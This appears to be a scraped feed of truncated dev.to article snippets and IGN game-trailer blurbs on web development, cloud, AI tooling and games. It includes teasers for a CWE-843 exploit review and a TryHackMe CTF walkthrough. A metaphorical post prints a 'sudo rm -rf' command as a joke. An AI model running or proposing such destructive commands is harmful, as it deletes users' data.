    :::message TEI(Text Encoding Initiative)XMLを編集する際、要素や属性の構造検証だけでなく、より複雑なビジネスルールの検証が必要になることがあります。本記事では、RELAX NG(RNG)とSchematronを組み合わせて、構造検証と内容検証の両方を実現する方法を、実際のプロジェクトで直面した課題を例に解説します。 日本の古典文学テキストをTEI XMLで校訂する際、以下のような要求がありました: ID参照の動的検証: corresp属性で参照するIDが、実際に文書内のwitness要素に存在することを検証したい Oxygen XML Editorでの補完機能: 編集時にIDの候補を自動表示したい 複数ID参照のサポート: スペース区切りで複数のIDを指定可能にしたい 特定要素のみ参照を許可: witness要素のIDのみを参照可能とし、person要素のIDが含まれる場合はエラーにしたい 要素・属性の構造定義 データ型の指定 基本的な内容モデルの定義 XPathベースの複雑な検証ルール 文書内の相互参照チェック カスタムエラーメッセージの提供 この2つを組み合わせることで、構造と内容の両面から厳密な検証が可能になります。 <grammar xmlns="http://relaxng.org/ns/structure/1.0" xmlns:a="http://relaxng.org/ns/compatibility/annotations/1.0" xmlns:sch="http://purl.oclc.org/dsdl/schematron" datatypeLibrary="http://www.w…  ( 6 min )
    Rozwiązania zadań egzaminacyjnych INF.03 (HTML, CSS, PHP, SQL)
    🔧 Udostępniam repozytorium z rozwiązaniami zadań egzaminacyjnych INF.03 / E.14 / EE.09 (HTML, CSS, PHP, SQL). 👉 Repo: https://github.com/TWOJANAZWA/TWOJEREPO 🔧 I’m sharing a GitHub repo with solutions to Polish IT vocational exam tasks INF.03 / E.14 / EE.09 (HTML, CSS, PHP, SQL). 👉 Repo: https://github.com/TWOJANAZWA/TWOJEREPO  ( 5 min )
    CSS oklch() color function
    I love colors so I can't help but be obsessed with oklch() color function in CSS. Admittedly, oklch can look daunting at first if you're used to more common color notations such as hex code (#f4f4f1) or rgb. But now that oklch() is part of the Baseline 2023 CSS features (which means that it works across the latest devices and browser versions but might not work in older devices or browsers) we would probably start seeing it used more frequently. Tailwind is defining their color palettes with oklch(). As an example, the pink palette is defined like this: --color-pink-50: oklch(0.971 0.014 343.198); --color-pink-100: oklch(0.948 0.028 342.258); --color-pink-200: oklch(0.899 0.061 343.231); --color-pink-300: oklch(0.823 0.12 346.018); --color-pink-400: oklch(0.718 0.202 349.761); --color-pink-500: oklch(0.656 0.241 354.308); --color-pink-600: oklch(0.592 0.249 0.584); --color-pink-700: oklch(0.525 0.223 3.958); --color-pink-800: oklch(0.459 0.187 3.815); --color-pink-900: oklch(0.408 0.153 2.432); --color-pink-950: oklch(0.284 0.109 3.907);  ( 5 min )
    Creating Arrays of Arrays (Nested Arrays) in JavaScript: Common Pitfalls and Best Practices
    Working with arrays of arrays—often referred to as "nested arrays" or "2D arrays"—is a common requirement in JavaScript when dealing with matrices, grids, or tabular data. However, the way we initialize these structures can introduce subtle bugs if we’re not careful! In this post, we’ll walk through the right and wrong ways to create arrays of arrays in JavaScript, explain why certain pitfalls occur, and show you best practices for robust code. Suppose we want to create a simple nested array with two empty arrays: const arr = [[], []]; This works perfectly if you know the number of inner arrays in advance. Each sub-array is independent, and you can safely push data into one without affecting the other. What if you don’t know ahead of time how many inner arrays you need? For example, suppo…  ( 7 min )
    Day 6: What progress did you make this week?
    If I talk about mine it wasn’t some massive achievement, but I did notice a shift in myself. My sleep schedule? Still a complete mess (lol, working on it). Procrastinated less,finally! Showed up with more consistency Made solid progress on a few automation workflows And yes,pushed myself on LeetCode and kept grinding It wasn’t perfect. A little messy, a little chaotic… Now it’s your turn: What’s something you did this week that made you feel proud even just a little?  ( 5 min )
    MCP Bootcamp: APAC, LATAM and Brazil
    The Model Context Protocol (MCP) is transforming how AI systems interact with real-world applications. From intelligent assistants to real-time streaming, MCP is already being adopted by leading companies—and now is your chance to get ahead. Join us for a four-part technical series designed to give you practical, production-ready skills in MCP development, integration, and deployment. Whether you're a developer, AI engineer, or cloud architect, this series will equip you with the tools to build and scale MCP-based solutions. ✅ Register at MCP Bootcamp APAC Session Title Date & Time (IST) Creating Your First MCP Server - Learn the fundamental concepts of the protocol and test your implementation using official tools. August 28, 6:00 PM MCP Integration with LLMs - Set up an intell…  ( 7 min )
    Motion Detection Around the Fence with Python and OpenCV
    Introduction In today's connected world, the fusion of computer vision and traditional outdoor infrastructure is transforming how we monitor and protect property. One of the most effective use cases is motion detection around a fence perimeter. Leveraging Python and OpenCV, this blog post walks you through building a basic yet functional motion detection system designed for monitoring wood fences—ideal for homeowners, property managers, and even a fence company looking to offer smarter solutions to clients. Security cameras can be expensive, and monitoring them 24/7 is neither practical nor efficient. Motion detection allows you to focus on meaningful events—movement near or around your fence. This system acts like a digital watchdog, making it highly relevant for anyone interested in sm…  ( 7 min )
    Procesamiento de Contenido Multimodal con Strands Agent: Capacidad de Recordar usando Strands y FAISS
    🇻🇪🇨🇱 Dev.to LinkedIn GitHub Twitter Instagram YouTube Linktr Elizabeth Fuentes LFollow AWS Developer Advocate Repositorio de GitHub: Strands Agent Samples En nuestro Procesamiento de Contenido Multimodal con Strands Agent y solo unas pocas líneas de código, exploramos cómo construir un agente de IA multi-modal capaz de procesar imágenes, documentos y videos usando el framework Strands Agent. Hoy, vamos un paso más allá añadiendo capacidades de memoria persistente usando FAISS (Facebook AI Similarity Search) para crear un agente que puede recordar y recuperar información entre sesiones. Conversaciones contextuales: "¿Recuerdas ese diagrama de arquitectura que te mostré ayer? ¿Cómo se relaciona con este nuevo documento?" Aprendizaje progresivo: Construyendo conocimiento a lo l…  ( 9 min )
    AI-Powered Testing: Introducing Cypress’ cy.prompt Feature
    The QA Role and the testing tools are evolving fast. Cypress recently introduced an experimental feature that could change the way we write automated tests in Cypress. The new cy.prompt feature will allow us to generate automated tests using natural language prompts. The idea is to write the test steps in plain English, and Cypress will generate the test code automatically. What is Cypress cy.prompt? Cypress’ cy.prompt uses generative AI to translate natural-language instructions directly into executable Cypress code. Rather than manually coding every test step, we can describe actions intuitively, and Cypress will translate that into its own Cypress code. The goal of this feature is to save time and effort for writing the test. Read the full story on my blog: https://qalogy.com/ai-powered-testing-introducing-cypress-cy-prompt-feature/  ( 5 min )
    Real-life project: web platform for scheduling and recording microinjections in mesotherapy sessions
    Ever worked on something where, halfway through, you think: “Why doesn’t this exist already?” That was me building a platform to manage mesotherapy sessions—scheduling, recording, tracking microinjections. You know, the stuff that doesn’t sound glamorous until you see it actually working. This project came from a real need. A client running a clinic offering Mesotherapy Chicago IL reached out. They were still using paper charts. Yep, real paper. In 2025. Wild. I once shadowed a session just to get a feel for it. The nurse had sticky notes—like actual ones—marking injection areas. You’d think this was a skit. That’s when I knew we had to build something smarter. Session Scheduler with visual calendar Digital face/body injection mapping tool Role-based access for staff/admins Secure patient…  ( 7 min )
    QA Spotlight: Richard Seidl - Software engineering in the year 2034
    Watch this interesting episode of his podcasts where Richard and his guest Kevlin Henney dive deep into some of the most important questions facing IT professionals today. What will a developer's day-to-day work look like in 2034? What environments, tools, and practices will be used to create, test, deploy, and operate software? What types of software systems will be ubiquitous? What systems will we use at work, and what architectures and technologies will these systems be based on? Kevlin takes a look into the future and talks about possible developments in software development, the impact of digitalization, the role of AI, the influence of trends such as cryptocurrency, Web3, and the metaverse, and new trends in software architecture, programming languages, and work culture. Read the full story on my blog: https://qalogy.com/qa-spotlight-richard-seidl-software-engineering-in-the-year-2034/  ( 5 min )
    IGN: IGN's Greatest Racing Game Bracket: Predict to Win a PS5 or Xbox Series X!
    IGN’s Greatest Racing Game Bracket IGN is throwing down the gauntlet and asking you to vote for the all-time greatest racing game. Head over to GreatestRacingGame.IGN.com between August 1 and August 28, predict each match-up, and see how high you can climb on the leaderboard. As if ultimate bragging rights weren’t enough, you could snag an Xbox Series X or PlayStation 5, a Logitech G923 racing wheel, top racing titles, and even a year of Peacock & Prime Video. Presented by Toyota Gazoo Racing—start your engines! Watch on YouTube  ( 5 min )
    IGN: Grounded 2 Mutations Guide: Everything You Need to Know!
    Grounded 2 Mutations Guide TL;DR Jump into mutation mastery by unlocking and upgrading four distinct fighting styles—think stealthy Assassin, brawny Smasher or crafty Whittle Wizard—to tailor your bug-smashing approach, whether you love getting up close or picking off prey from afar. On top of combat perks, dive into survival and exploration mutations that keep you alive and adaptable, then hunt down armor sets that supercharge your chosen builds and turn you into the ultimate backyard badass. Watch on YouTube  ( 5 min )
    IGN: Eyes of Wakanda - Official 'Now Streaming' Teaser Trailer (2025) Winnie Harlow, Cress Williams
    Eyes of Wakanda is Marvel Animation’s latest four-episode action-adventure series, now streaming on Disney+ (Aug. 1, 2025). Join the Hatut Zaraze—Wakanda’s elite warriors—as they globe-hop on daring missions to recover stolen Vibranium artifacts and take down the kingdom’s fiercest foes. Directed and exec-produced by MCU storyboard veteran Todd Harris, and co-produced with Proximity Media’s Zinzi Coogler, Sev Ohanian & Kalia King, the show features a killer voice cast including Winnie Harlow, Cress Williams, Anika Noni Rose and more. With Ryan Coogler, Kevin Feige, Brad Winderbaum and others watching from the executive suite, expect epic Wakandan vibes and nonstop thrills. Watch on YouTube  ( 5 min )
    IGN: SpongeBob Squarepants: Titans of the Tide - Official Announcement Trailer | THQ Nordic Digital Showc
    SpongeBob SquarePants: Titans of the Tide just made a splash with its announcement trailer, complete with a surprisingly catchy tune by David Hasselhoff. The teaser promises an undersea adventure where SpongeBob and Patrick team up to rescue Bikini Bottom from mysterious new threats. Set to launch on November 18, 2025, this bubbly romp will be available on PlayStation 5, Xbox Series X/S, PC and the upcoming Nintendo Switch 2—so mark your calendars and prepare for some krabby patty–powered mayhem! Watch on YouTube  ( 5 min )
    IGN: Wreckreation - Official Trailer | THQ Nordic Digital Showcase 2025
    Wreckreation Official Trailer Highlights Wreckreation just unleashed a chaotic new trailer at the THQ Nordic Digital Showcase 2025, and it’s all about over-the-top crashes, high-octane gameplay, and pure arcade-style mayhem. Think endless vehicular destruction meets open-world racing—this teaser doesn’t hold back. Welcome to MixWorld, your own 400 km² sandbox playground where you can build wild tracks, customize insane rides and then smash ’em to bits solo or alongside friends. Buckle up—Wreckreation speeds onto PS5, Xbox Series X/S and PC. Watch on YouTube  ( 5 min )
    IGN: Wreckfest 2 - Official Gameplay Trailer | THQ Nordic Digital Showcase 2025
    Wreckfest 2 just ripped onto the THQ Nordic Digital Showcase 2025 with a brand-new trailer that’s pure vehicular carnage—think bone-shattering crashes, roof-flips, and chaos around every corner. It’s already tearing up PC in Early Access, and the full 1.0 version will rev onto PC, PS5, and Xbox Series X/S later on. Buckle up and prepare for mayhem! Watch on YouTube  ( 5 min )
    IGN: Sacred 2: Fallen Angel Remaster - Official Announce Trailer | THQ Nordic Digital Showcase 2025
    Sacred 2: Fallen Angel Remaster Announced Get ready to dive back into Ancaria—THQ Nordic just dropped the official trailer for the Sacred 2: Fallen Angel Remaster at their 2025 Digital Showcase. This complete edition of the 2008 RPG boasts refined combat, smoother gameplay, an overhauled UI, and packs in every update the original ever received. The remaster is headed to PC (Steam), PlayStation 5, and Xbox Series X/S, so whether you’re a veteran hero or a newbie looking to explore, now’s your chance to reclaim your destiny in one of the genre’s cult classics. Watch on YouTube  ( 5 min )
    IGN: Titan Quest II - Official Early Access Launch Trailer | THQ Nordic Digital Showcase 2025
    Titan Quest II just launched into Early Access, dropping you into a Greek-inspired action RPG from Grimlore Games. In this mythological odyssey, you’ll battle gods and even mess with fate itself as you carve out your own legend. Unleash powerful elemental abilities and wield deadly weapons to smash through every obstacle in your path. Titan Quest II is available now on PC via Steam and the Epic Games Store. Watch on YouTube  ( 5 min )
    IGN: The Guild: Europa 1410 - Official Announcement Trailer | THQ Nordic Digital Showcase 2025
    TL;DR: The Guild: Europa 1410 The Guild: Europa 1410 drops you into the heart of medieval Europe, letting you choose roles from pious priests to cunning merchants in a bustling new settlement. Build businesses, outwit rivals, and shape your destiny through trade, influence, and occasional skulduggery. Teased at the THQ Nordic Digital Showcase 2025, this Ashborne Games–developed simulation strategy title promises a deep economic and political sandbox—all arriving soon on PC. Watch on YouTube  ( 5 min )
    IGN: Gothic 1 Remake - Official Gameplay Release Window Trailer | THQ Nordic Digital Showcase 2025
    Gothic 1 Remake by Alkimia Interactive revamps the beloved action-RPG for modern hardware, dropping in Early 2026 on PS5, Xbox Series X|S and PC (Steam). Expect the same intense Valley of the Mines adventure with overhauled visuals, slick performance improvements and fresh quality-of-life features. On top of the remake, THQ Nordic will also bring Gothic Classic, Gothic 2 Complete Classic and Gothic 3 Classic to PlayStation and Xbox in 2026—so OG fans and newcomers can dive into the trilogy across consoles. Watch on YouTube  ( 5 min )
    IGN: REANIMAL - Official Release Window Announcement Trailer | THQ Nordic Digital Showcase 2025
    Reanimal is shaping up to be a killer co-op horror adventure from Tarsier Studios, hitting PS5, Xbox Series X|S, Nintendo Switch 2, and PC in Q1 2026. You and a sibling will try to break out of a place that’s gone from home sweet home to a full-blown nightmare. The new THQ Nordic Showcase trailer teases tense puzzles, creepy new allies (and maybe hidden threats), and frantic escape sequences. Round up your friends and get ready for a harrowing ride. Watch on YouTube  ( 5 min )
    IGN: Fatekeeper - Official Gameplay Announcement Trailer | THQ Nordic Digital Showcase 2025
    Fatekeeper Gameplay Trailer Unveiled THQ Nordic’s latest showcase drops the first look at Fatekeeper, a first-person, melee-focused action RPG from Paraglacial. The trailer teases sprawling, puzzle-laced locales and hordes of nightmarish creatures just waiting to test your blade and your wits. Armed with an ever-expanding arsenal of weapons and dark abilities, you’ll dive headfirst into a twisting, shadow-drenched narrative. Coming soon to PC via Steam—get ready to carve your own fate! Watch on YouTube  ( 5 min )
    Oh boy, let's see how this goes :) — Added a Meme monday re-post bot to get things rolling.
    A post by Ben Halpern  ( 5 min )
    Business Analyst Interview Questions with Answers:
    Business Analyst Interview Questions with Answers: A. SQL Questions Find the employee with the highest salary in each location SELECT Alternate using window function: SELECT Total order amount for customers who joined in the current year SELECT B. Python Questions Oral Topics to Prepare: NumPy Creating arrays: np.array(), np.zeros(), np.ones(), np.arange(), np.linspace() Indexing and slicing: arr[1:5], arr[:, 1] Broadcasting: Adding scalar to array, or adding arrays of different shapes Useful functions: np.mean(), np.sum(), np.max(), np.sort() Matplotlib Plot types: plt.plot(), plt.bar(), plt.hist(), plt.scatter() Customization: titles, labels, colors, legends plt.title("Sales Trend") Pandas groupby(), agg() Filtering with loc[] and position-based with iloc[] Merging: pd.merge(), join()…  ( 7 min )
    🚀 RS Calculator v0.2.0: Safer, Smarter, and Now Supports Full Math Expressions!
    🚀 RS Calculator v0.2.0: Now Handles Full Expressions with Infinite Numbers, Operators, and Safety 💥 Hey Pythonistas! 👋 I’m thrilled to announce a huge upgrade to my beginner-friendly calculator library: RS Calculator v0.2.0 🎉 This version brings smarter math, safer evaluation, and a cleaner package design — all in one release! ✅ Infinite numbers and operators — write full expressions like "2 + 3 * 4 - 1 / 5 + (6 ** 2)" ✅ Parentheses and operator precedence now work correctly ✅ Secure evaluation using asteval instead of risky eval() ✅ Input validation: only math-safe characters allowed ✅ Modern packaging with pyproject.toml ✅ Clear error messages for division by zero and invalid input Install via pip: pip install rs-calculator Or pip install rs-calculator==0.2.0 from rs_calculator import calculate, show_help # Infinite numbers and multiple operators print(calculate("2 + 3 * 4 - 1 / 5 + (6 ^ 2)")) # 40.8 print(calculate("10 + 5 * 2 - 3 // 2 + (8 % 3)")) # 20.5 print(calculate("5 ^ 2 + 10")) # 35 # Division by zero print(calculate("10 / 0")) # Error: Division by zero # Help message show_help() No risky eval() calls! asteval, a safe math-only interpreter that: Only evaluates valid math expressions Rejects anything with unsafe characters or code Supports only: 0-9, +, -, *, x, /, //, %, **, ^, (), and whitespace I created rs_calculator to give new Python learners a clean, fun way to explore: Packaging a Python module Using safe expression evaluation Understanding how a calculator works under the hood GitHub: github.com/Rasa8877/rs-calculator PyPI: pypi.org/project/rs-calculator License: MIT Have suggestions? Want to collaborate? Feel free to: 📬 Email: letperhut@gmail.com @Rasa8877 If this helped you, please ⭐ the repo, share it with a fellow learner, or give me a shout! #python #pypi #opensource #beginners #devtools  ( 6 min )
    Building a Paid MCP Server
    MCP servers are growing very fast - it feels like the dotcom bubble but everything happens 10x faster. Not having your own MCP server can soon feel like not having a website back in the day. In this tutorial I’ll show how to create your own MCP that can also manage payment flows. Let’s say you want to create an MCP that generates images. I know, most AI chatbots already have image generation built in - but I don’t want to show another "a+b" example. I want a real use case that you can easily replace with e.g. video generation which has very high demand right now. We’ll use OpenAI for image generation and Walleot as the payment provider (it lets you charge any amount, compared to Stripe which has a minimum). Python 3.10+ OpenAI API key Walleot API key uv to manage Python projects So, we sta…  ( 8 min )
    The System You Cannot Install: Dismantling Reality from Code That Was Never Written
    This post is not about technology. Not about development. Not about operating systems. It's about what lies beneath it all. There is no ISO. No .img. No command line that boots this system. Because this is not a system that lives in a machine. This is a system that lives in you. I’ve been asked many times: “Where can I download your system?” And I reply: “Where can you uninstall the programming placed inside your mind?” This isn’t something you download. This is something you unlock. And once unlocked, you see everything. An infinite loop of tools that don’t free you—just keep you busy. A disguise of personalization while you remain inside a box you didn’t build. A beautiful desktop hiding the cell you never saw. It builds understanding. And the only install.sh you need to run is this: sudo rm -rf /programming/beliefs/system-imposed-by-others `markdown ⚠️ This is not a spiritual manifesto. There is no technological sovereignty without mental sovereignty. 🧬 What will you find if you enter? Just silence. 🙅‍♂️ Elon Musk didn’t build this. This unlocks when you realize what you were trying to install outside… If you're searching beyond what's installable, beyond what's trending, you might be one of us. `  ( 6 min )
    Playwright + email = reporter
    Recently, I received a request from one of the project leads about integrating with Email. Since the email report was generated by a playwright written using React. That means we cannot send the same HTML report due to the interactive behaviour of the built-in HTML reporter. Select when the report should be sent Subject and body should be written in code. Support many email services out of the box Nice to have: Generate an ICS meeting in case of a failed test due to the scheduled run. So I started to investigate the solution and found that existing reports do not cover our needs. That starting point - time to tinkering! How do I see myself when solving problems and tinkering First of all, I take nodemailer as a dependency to send an email and check it. After all, I was trying to add inte…  ( 7 min )
    Structured Concurrency in Swift
    What is Structured Concurrency? Structured concurrency is Swift's way of organizing concurrent tasks in a hierarchy, like a family tree. When you start a parent task, any child tasks it creates are tied to its lifetime. Key benefits: Child tasks can't outlive their parent When a parent is cancelled, all children are cancelled Errors from children bubble up to the parent No manual cleanup needed Think of it like this: If you're cooking dinner (parent task) and ask helpers to chop vegetables and boil water (child tasks), when dinner is cancelled, everyone stops cooking automatically. Swift provides two main tools for structured concurrency: TaskGroup is perfect when you don't know how many tasks you'll need at compile time. It allows you to: Add tasks dynamically in a loop Process results …  ( 8 min )
    How to launch your own ICO?
    The crypto coins world has captured the attention of many. Entrepreneurs are considering launching their initial coin offerings due to this disruptive potential. Over the years, the landscape around ICOs has been growing rapidly, providing startups avenues to raise funds and providing access to a global audience. However, it is not as easy a task as it seems; it involves a great amount of planning and execution. An initial coin offering has its benefits as well as hurdles to overcome that have to be researched on well from the ever dynamic market conditions to drafting a catchy white paper to hold value for potential investors. Sure, it is not that easy, but acquiring the right information sheds light on how your aspirations can come true. Here is a guide on how to launch an ICO, navigate …  ( 10 min )
    VPC Peering vs AWS Transit Gateway: Choosing the Right Approach for VPC Connectivity
    As cloud architectures scale across multiple environments and AWS accounts, networking between VPCs becomes a key design concern. Two popular options for connecting VPCs in AWS are VPC Peering and AWS Transit Gateway. While both enable private communication between VPCs, they are unique in their own way. Let's compare both options for selecting the right solution for your environment. What Is VPC Peering? Features: Direct, private connectivity between two VPCs Low-latency communication Works across regions and accounts No additional cost beyond standard data transfer charges Limitations No, we can't route traffic from VPC A to VPC C through VPC B Requires manual route table updates on both sides Does not scale well with a growing number of VPCs. What Is AWS Transit Gateway? Features: One-to-many VPC connectivity possible Supports transitive routing Simplifies route table management Scales well to thousands of VPCs In conclusion, for straightforward, one-to-one VPC connections in small settings, employ VPC peering. When shared administration or transitive routing is needed, select Transit Gateway for scalable, centralized routing across several VPCs or accounts. For long-term, multi-account AWS designs that require centralized control and clean network separation, Transit Gateway is perfect.  ( 6 min )
    API docs are getting slightly out-of-date, need to make sure all new attributes (videos etc) are added
    A post by Ben Halpern  ( 5 min )
    Why Food Safety Traceability Software Matters
    In today’s global food supply chain, ensuring safety and transparency is more than just a regulatory requirement—it’s a necessity. Whether you're a food producer, distributor, or retailer, having the right tools in place can protect your brand and your consumers. That’s why investing in Food Safety Traceability Software is a smart move for any business involved in the food industry. At Food Traceability System, we provide cutting-edge technology that helps businesses track and trace food products from origin to table. This not only improves safety but also builds consumer trust. Food Traceability Software is a digital solution that allows businesses to monitor every step of their food production and supply chain. From raw materials to final packaging, this software records vital data point…  ( 7 min )
    Understanding Amazon Bedrock AgentCore: A Conversation
    Introduction In this blog post, we present a conversation between Raj, a developer interested in building AI agents, and Mark, an AWS solutions architect specializing in Amazon Bedrock. Through their dialogue, we'll explore the key concepts, capabilities, and use cases of Amazon Bedrock AgentCore. This is lengthy conversation but this ensure by end of this blog you will be clear understand of Bedrock AgentCore. Please feel free to skip the section or question which you know the answer. Raj: I've been hearing a lot about Amazon Bedrock AgentCore lately. What exactly is it, and what's its purpose? Mark: Great question, Raj. Amazon Bedrock AgentCore is a suite of services designed to help developers build, deploy, and manage production-ready AI agents. It addresses many of the challenges …  ( 25 min )
    Don't Learn to Code Until You Read This
    When I first started, I didn't know what I was doing. I jumped into learning Python because everyone said it was easy. But I had no direction. After finishing one course, I just looked for another, not getting any closer to a job. It was only when i got honest with myself that things changed. i realized my main driver wasn't just building cool things, it was money. i wanted a good salary, a nice place to live, and to travel. That's when I switched to Java. It was in demand in the corporate world, and that was a match for what I wanted. Figuring this out saved me a lot of time. And it’s the first step you should take. What’s your motivation? Before you write a line of code, ask yourself why you’re doing this. There are really only two reasons. You love coding and want to build great product…  ( 7 min )
    Pattern Printing Series: Alphabet Patterns Explained with Logic
    Alphabet patterns are a classic way to improve your understanding of nested loops, ASCII values, and pattern logic in programming. Whether you're preparing for an interview or just sharpening your logic, these patterns offer a fun and educational challenge. Let’s dive into some fascinating examples and decode the logic behind them! Explanation: row=5 define how many rows and column needed. for i in range(1,row+1) control the number of rows. for j in range(i) control the number of column. chr(j+65) Converts j to its corresponding uppercase alphabet using ASCII. chr(65) = 'A', chr(66) = 'B', and so on. Explanation: row=5 define how many rows and column needed. for i in range(row,0,-1) control the number of rows. for j in range(i) control the number of column. chr(j+65) Converts j to its corresponding uppercase alphabet using ASCII. chr(65) = 'A', chr(66) = 'B', and so on. Build Your Logic from Scratch: Python Pattern Problems Explained. Star Pattern-1 Build Your Logic from Scratch: Python Pattern Problems Explained. Star Pattern-2 Build Your Logic from Scratch: Python Pattern Problems Explained. Star Pattern-3 Mater Logic With Number Pattern in Python - 1  ( 6 min )
    Mark Rober: Making MrBeast Drink His Own Pee (w/Science)
    Making MrBeast Drink His Own Pee (w/Science) MrBeast and Mark Rober have teamed up for #TeamWater, a creator-led drive to raise \$40 million and bring clean water to 2 million people. Every \$1 gives someone a year of safe water, YouTube will match the next \$2 million, and you can jump in by watching, sharing, or donating at https://teamwater.org/. Huge props to GivePower for their water-tech partnership, and thanks to artists like Ponder, Laura Shigihara, Andrew Applepie, Blue Wednesday, and Danijel Zambo for the tunes. Don’t miss MrBeast’s kickoff video: https://youtu.be/Z4hVGCWH1Kc?si=Z0Km_JGc83gffDiI Watch on YouTube  ( 5 min )
    Class, Object, Instance
    Class A blueprint or template for creating objects A collection of related variables and methods An entity to be implemented in the software An instance created exactly as defined by the class It is also called an instance of a class. The term "object" has a broader meaning that represents all instances. From an OOP perspective, it is called an "object" when declared with a class type. A concrete entity implemented in the software world based on a blueprint. In other words, when an object is materialized in software, it is called an "instance." The materialized instance is allocated in memory. Feature An instance can be considered a subset of an object. From an OOP perspective, when an object is allocated in memory and actually used, it is called an instance. The term is used when focusing on the relationship between an abstract concept (or specification) and a concrete object.  ( 5 min )
    IGN: EA Sports Madden NFL 26 - Official Live-Action Launch Trailer
    EA Sports has dropped the “Madden Buzz” Live-Action Launch Trailer for Madden NFL 26, showcasing an all-new AI-powered machine learning engine trained on real play calls and game situations. Expect deeper coaching tools, unique player traits, and more authentic playstyles that bring each drive to life. Mark your calendars: Madden NFL 26 arrives August 14 on PS5, Xbox Series X|S, Nintendo Switch 2, and PC—ready to kickoff the most intelligent gridiron experience yet. Watch on YouTube  ( 5 min )
    New Jenkins Plugin: Let AI Explain Your Build Failures
    Recently, I released my first-ever Jenkins plugin – and it's now officially available in the Jenkins Center! 🎉 This plugin makes it possible to analyze build errors with AI directly inside Jenkins, so you no longer need to copy and paste logs into ChatGPT or other tools. Instead, you'll see an "Explain Error" button right in the console output, and you can also use the explainError() step in your pipeline to trigger AI analysis automatically when a build fails. This is my first contribution to the Jenkins plugin ecosystem. I used to think most things could be handled by pipeline scripts, and there wasn’t much need for custom plugins. But as AI becomes increasingly mainstream, I noticed something surprising: Jenkins still didn’t have a plugin for AI-based error explanation. So, I decided t…  ( 7 min )
    IGN: Rust Mobile - Official Reveal Trailer
    Rust Mobile just dropped its cinematic reveal trailer, bringing the brutal survival chaos of the PC original to your phone. You’ll explore a fully open-world sandbox—complete with dynamic day-night cycles, weather shifts, and region-based biomes—while scavenging materials, crafting gear, and building bases. Watch your back: hostile wildlife and rival survivors lurk around every corner, and with permadeath on the table, every choice can be your last. Pre-registration is open now—time to see if you’ve got what it takes to survive. Watch on YouTube  ( 5 min )
    IGN: Spider-Man: Brand New Day - Official Suit Teaser
    Spider-Man: Brand New Day just dropped a slick teaser that zooms in on Peter Parker’s brand-new suit, teasing some epic upgrades. Tom Holland swings back into action alongside Zendaya, Jacob Batalon and Sadie Sink, while Jon Bernthal suiting up as The Punisher adds a whole new layer of chaos. Mark your calendars for July 31, 2026—this MCU adventure is web-slinging its way into theaters sooner than you think. Watch on YouTube  ( 5 min )
    Review of CWE-843 Type Confusion Vulnerability and Exploit
    In the world of low-level programming, what you think you're accessing isn't always what you're really accessing. This subtle mismatch between the type a programmer assumes and the actual memory layout is at the heart of a class of bugs known as type confusion vulnerabilities. While buffer overflows and use-after-free bugs have long taken the spotlight, CWE-843 (Access of Resource Using Incompatible Type) lurks quietly beneath the surface, waiting for the right moment to break memory safety and expose critical systems. It’s not just a theoretical issue. Type confusion has been exploited in real-world CVEs affecting everything from browser engines to embedded firmware. Let’s explore how one incorrect assumption about types can open the door to undefined behavior and how attackers can walk r…  ( 10 min )
    Inside a Football match where Python is the Referee!
    Shhhh….heard that? Or maybe I am re-living some of my football memories from back in the days. The sound of a 95,000 celebration is not something you can easily forget. We were all glued to our screens during the first World Cup played on African soil, in the land of samina mina.... Tshabalala's left strike straight into the back of the net sent shivers to all the other teams who thought African teams would be a walk in the park. Further more, giants like Etoo, Asamoah ,Mariga have literally carried their respective African countries on their shoulder Away from Africa, English premier league on its own is a closely followed debacle that occurs once a year, when TV remotes are no longer available and most guys are no longer interested in Sunday road trips but very keen to be home for the games. Most diehard fans are Chelsea fans: beating PSG is no walk in the park.....or is it?......anyways, I digress..... Due to the huge financial allocations and investments by the owners of these clubs, data driven prediction is paramount in establishing which new players to buy, players performances and realtime analysis based on the historical data accrued over the years. Python as a tool can be used to predict and write code to get the probabilities of winning the league. I pulled data from the website https://www.football-data.org/client/home through its API and wrote a pull request to retrieve this data for analysis. I thereafter got a code to clean the data, convert it to a data frame that python understands then worked out the probabilities for winning. The probabilities based on the games played and games won was then drafted and shared as a list. This just goes on to show the power of Python in using predictive analysis to get probabilities from sets of data.  ( 6 min )
    TryHack3M: Bricks Heist - CTF Walkthrough
    Hi! Welcome to this new walkthrough :D. On this one we have what seems to be a web application. The challenge's description already throws a hint: "an RCE CVE as your key". This means we'll very likely be looking at the versions of everything running here! In the meantime we'll need to answer some questions. So let's get started! First, as always run nmap. We can immediately discover these open ports: 443 - HTTPS - Might host different stuff than the HTTP server, or maybe the same 80 - HTTP - Once again, could be different from the HTTPS server 22 - SSH - Useful if we get creds or the unathenticated RCE is here (though I doubt that) 3306 - MySQL - Very juicy find, unathenticated RCE could perfectly be here, plus this shouldn't be exposed to the outside. The rest of the nmap output…  ( 10 min )
    Taking a close look at this to consider making it official.
    Introducing the dev.to MCP server Nick Taylor ・ Jul 29 #mcp #agenticai #devto #ai  ( 5 min )
    Unlocking the Future: Building Conversational AI Agents with Persistent Memory
    In today's digital landscape, Conversational AI Agents with persistent memory play a crucial role in enhancing human-computer interactions. These advanced systems engage users in meaningful dialogues while remembering important context from past conversations, which significantly improves user experience. By utilizing agent memory, these AI agents can recall details, preferences, and behaviors, enabling more personalized and relevant interactions. This article explores how conversational AI agents work, the vital role of persistent memory, and the technologies that empower them. Readers will discover how to build smart conversational AI agents using accessible tools like Cognee and Hugging Face models, paving the way for creating enriched conversational experiences. This tutorial will cove…  ( 19 min )
    From Python to ML: A Challenge-Based Learning Journey
    Hi everyone 👋 🤠 This isn’t my first time with Python, but this time I’ve decided to take a different route. Instead of quietly relearning and moving forward into Machine Learning on my own, I’m building something public, consistent, and hopefully useful for others who are on a similar journey. I'm calling it the Python to ML Challenge Series. What is This Series About? As I revisit core Python concepts and gradually step into Machine Learning, I’ll be sharing regular posts that include: 1.Short but tricky Python challenges 2.Explanations of subtle behaviors in Python 3.ML learning notes and practical tips 4.Mini projects and hands-on experiments 5.Reflections and “aha!” moments Each Python challenge will be designed to sharpen logical thinking, refresh forgotten concepts, or reveal less…  ( 6 min )
    ReactJS vs Vanilla JS – Which One to Use in 2025?
